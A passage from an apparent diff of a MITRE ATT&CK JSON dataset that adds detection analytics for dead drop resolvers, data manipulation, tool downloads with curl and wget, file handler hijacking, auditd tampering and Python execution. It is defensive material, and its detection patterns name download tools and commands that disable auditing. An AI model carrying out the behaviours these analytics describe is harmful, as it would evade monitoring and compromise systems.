"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetDomain", + "description": "FQDN or IP for the hosting site of the dead drop (e.g., pastebin.com, twitter.com)" + }, + { + "field": "TimeWindow", + "description": "Defines how close in time the suspicious network and process behavior must occur" + }, + { + "field": "UserContext", + "description": "Filter by user or system accounts to reduce noise" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dc4096a9-b89d-4bef-b20d-58cf5e87f6bf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0058#AN0159", + "external_id": "AN0159" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0159", + "description": "Detection of a process or script that accesses a common web service to retrieve content containing obfuscated indicators of a secondary C2 server (dead drop resolver behavior).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "netconnect" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "HTTP/TLS Logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetDomain", + "description": "Dead drop hosting domain (e.g., GitHub, Google Docs)" + }, + { + "field": "PayloadEntropyThreshold", + "description": "Detects high entropy in payloads signaling obfuscation" + }, + { + "field": "TimeWindow", + "description": "Causal proximity between access to resolver and follow-up connections" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--671050c7-7e86-4be7-9ab4-aa9c763fad44", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0058#AN0160", + "external_id": "AN0160" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0160", + "description": "Detection of a process or script that accesses a common web service to retrieve content containing obfuscated indicators of a secondary C2 server (dead drop resolver behavior).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "subsystem: com.apple.network" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:osquery", + "channel": "process_events/socket_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetService", + "description": "Known services abused for D2 (e.g., iCloud, Dropbox)" + }, + { + "field": "UserContext", + "description": "Useful to isolate rare users accessing web services for C2" + }, + { + "field": "TimeWindow", + "description": "Max time gap between dead drop resolver fetch and follow-on traffic" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--aae03a6c-b308-49cb-bb85-7be4a5c2a4bb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0058#AN0161", + "external_id": "AN0161" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0161", + "description": "Detection of a process or script that accesses a common web service to retrieve content containing obfuscated indicators of a secondary C2 server (dead drop resolver behavior).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:vobd", + "channel": "Network Events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Firewall", + "channel": "Outbound Connections" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DestinationIP", + "description": "Identifies unusual IP destinations embedded in traffic" + }, + { + "field": "Protocol", + "description": "Used to detect uncommon protocols (e.g., DNS over HTTPS)" + }, + { + "field": "TimeWindow", + "description": "Used to correlate outbound web requests with process execution" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--64d6b35c-4785-4e2b-bc93-1f54f626a7a7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0059#AN0162", + "external_id": "AN0162" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0162", + "description": "Correlate unauthorized or anomalous file modifications, deletions, or metadata changes with suspicious process execution or API calls. Detect abnormal changes to structured data (e.g., database files, logs, financial records) outside expected business process activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=2" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4656,4663" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredFilePaths", + "description": "List of critical data directories or files; environment-specific tuning required." + }, + { + "field": "TimeWindow", + "description": "Threshold for correlating process execution with rapid data changes." + }, + { + "field": "AuthorizedProcesses", + "description": "Expected processes permitted to modify business-critical data." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2e700f3b-bf9c-427c-a099-b80d233c1ccb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0059#AN0163", + "external_id": "AN0163" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0163", + "description": "Detect unauthorized manipulation of log files, database entries, or system configuration files through auditd and syslog. Correlate shell commands that alter HISTFILE or data-related processes with abnormal file access patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "open, unlink, rename: Suspicious file access, deletion, or modification of sensitive paths" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "linux:syslog", + "channel": "Unexpected SQL or application log entries showing tampered or malformed data" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedDirectories", + "description": "Specific log or data directories critical to integrity; tune per organization." + }, + { + "field": "CommandExclusions", + "description": "Legitimate scripts/tools excluded from data manipulation monitoring." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--13f8d339-8239-4d84-adf2-1abf1a0f3d5d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0059#AN0164", + "external_id": "AN0164" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0164", + "description": "Detect manipulation of system or application files in `/Library`, `/System`, or user data directories using FSEvents and Unified Logs. Identify anomalous process execution modifying plist files, structured data, or logs outside expected update cycles.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "Anomalous plist modifications or sensitive file overwrites by non-standard processes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "macos:osquery", + "channel": "open, execve: Unexpected processes accessing or modifying critical files" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedPlistEditors", + "description": "Whitelisted processes authorized to modify plist or configuration files." + }, + { + "field": "FileIntegrityBaseline", + "description": "Baseline hash values for key files to support integrity validation." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f20d9241-84cc-4393-b2fb-798241da73fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0060#AN0165", + "external_id": "AN0165" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0165", + "description": "Unusual or uncommon processes initiate network connections to external destinations followed by file creation (tools downloaded).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessName", + "description": "Tune for known good updaters (e.g., ChromeUpdate, OneDrive)" + }, + { + "field": "DestinationIPCategory", + "description": "Allow filtering by internal vs external IP blocks" + }, + { + "field": "FilePathRegex", + "description": "Focus on uncommon file drop paths (e.g., C:\\Users\\Public\\)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--62d55c57-54a3-4c6f-8d0d-2684fa26c347", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0060#AN0166", + "external_id": "AN0166" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0166", + "description": "Shell-based tools (curl, wget, scp) initiate connections to external domains followed by creation of executable files on disk.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "connect, execve, write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "file creation/modification" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "iptables:LOG", + "channel": "TCP connections" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ToolName", + "description": "Match on curl, wget, rsync, etc. based on environment" + }, + { + "field": "DownloadExtension", + "description": "Tunable filter to limit to suspicious file types (.sh, .bin, .elf)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--56552a3e-9934-4809-97a4-67d62f29478c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0060#AN0167", + "external_id": "AN0167" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0167", + "description": "Process execution of curl or wget followed by a network connection and a file created in temporary or user-specific directories.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "file write/create" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:unifiedlog", + "channel": "connection open" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DirectoryTargeted", + "description": "Restrict to high-risk directories like /Users/Shared, /tmp/" + }, + { + "field": "ProcessPath", + "description": "May tune based on custom tooling or MDM activity" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fac5b2df-a58d-424e-a351-7d7ca05260e8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0060#AN0168", + "external_id": "AN0168" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0168", + "description": "Command line interface or vCLI triggers remote transfer using wget or curl, writing files into datastore paths or local tmp directories.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:hostd", + "channel": "command execution" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "esxi:vmkernel", + "channel": "file write" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ToolName", + "description": "Tune for wget, curl, netcat, and scripting languages in use" + }, + { + "field": "DatastorePath", + "description": "Filter or prioritize specific paths (e.g., /vmfs/volumes/)" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c93951a7-7f78-40cf-a891-30d6c6a9bee6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0060#AN0169", + "external_id": "AN0169" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0169", + "description": "Network device logs show anomalous inbound file transfers or uncharacteristic flows with high payload volume to network devices with storage or automation hooks.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "connection metadata" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "snmp:syslog", + "channel": "firmware write/log event" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PayloadVolumeThreshold", + "description": "Tune based on expected update size vs anomalous bulk data transfers" + }, + { + "field": "ProtocolUsed", + "description": "Flag unexpected protocols like TFTP, FTP, HTTP" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3ac58f14-32d6-4ce2-8aa7-e7c429dd6405", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0061#AN0170", + "external_id": "AN0170" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0170", + "description": "Detects modification of registry keys used for default file handlers, followed by anomalous process execution from user-initiated file opens. This includes tracking changes under HKCU and HKCR for file extension mappings, and correlating them with new or suspicious handler paths launching unusual child processes (e.g., PowerShell, cmd, wscript).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13,14" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "WinEventLog:Security", + "channel": "EventCode=4672" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines how long after the registry modification to correlate a suspicious process execution" + }, + { + "field": "UserContext", + "description": "Tune to ignore known admin or installer behavior in specific user profiles" + }, + { + "field": "SuspiciousHandlerPathRegex", + "description": "Pattern match for suspicious handler paths (e.g., powershell.exe, rundll32.exe)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3e9734aa-b9b4-4716-927c-27c2c2aa972e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0062#AN0171", + "external_id": "AN0171" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0171", + "description": "Disabling or modifying the Linux Audit system through process termination (auditd killed), service management (systemctl stop auditd), or tampering with rule/configuration files (/etc/audit/audit.rules, audit.conf). Defender view: suspicious execution of auditctl/systemctl commands, file modifications to audit rules, or sudden absence of audit logs correlated with privileged execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:EXECVE", + "channel": "Execution of auditctl, systemctl stop auditd, or kill -9 auditd" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "auditd:SYSCALL", + "channel": "kill syscalls targeting auditd process" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:FILE", + "channel": "Modification or deletion of /etc/audit/audit.rules or /etc/audit/audit.conf" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "linux:syslog", + "channel": "auditd service stopped or disabled" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServiceWhitelist", + "description": "Exclude legitimate administrative service stops during system maintenance." + }, + { + "field": "FilePathScope", + "description": "Specify monitored paths (/etc/audit/audit.rules, audit.conf) to avoid false positives from unrelated file writes." + }, + { + "field": "TimeWindow", + "description": "Correlate suspicious commands, file modifications, and audit log gaps in short succession." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f392a2cb-dd4b-4585-84d5-1fa4bd65ff60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0063#AN0172", + "external_id": "AN0172" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0172", + "description": "Detects Python execution via python.exe or py.exe with anomalous parent lineage (e.g., Office macros, LOLBAS), execution from unusual directories, or chained network/PowerShell/system-level activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "EDR:hunting", + "channel": "Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcess", + "description": "Non-standard processes spawning python.exe (e.g., winword.exe, mshta.exe)." + }, + { + "field": "ScriptPath", + "description": "Execution of .py from temp directories or user profile paths." + }, + { + "field": "TimeWindow", + "description": "Execution outside maintenance or patch windows." + }, + { + "field": "UserContext", + "description": "Execution by low-privileged or service accounts." + }, + { + "field": "ChildProcess", + "description": "Python spawning suspicious binaries or scripts (e.g., PowerShell, certutil)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bcac4672-778d-4b35-8b75-eaaf84b91853", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0063#AN0173", + "external_id": "AN0173" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0173", + "description": "Detects native Python or framework-based execution from Terminal, embedded apps, or launchd jobs. Flags network calls, persistence writes, or system enumeration after Python launch.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'eventMessage contains \"python\"'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:syslog", + "channel": "system.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutionPath", + "description": "Detects python scripts from ~/Downloads/, /Volumes/, or /tmp/." + }, + { + "field": "ScriptName", + "description": "Obfuscated or high entropy script names." + }, + { + "field": "SpawnChain", + "description": "Chained behavior: Python \u2192 bash \u2192 curl or Python \u2192 osascript." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--59354e08-ed82-4b95-99c5-aed3996473e1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0063#AN0174", + "external_id": "AN0174" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0174", + "description": "Detects Python execution from non-standard user contexts or cron jobs that invoke outbound traffic, access sensitive files, or perform process injection (e.g., ptrace or /proc memory maps).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "linux:syslog", + "channel": "/var/log/syslog" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + 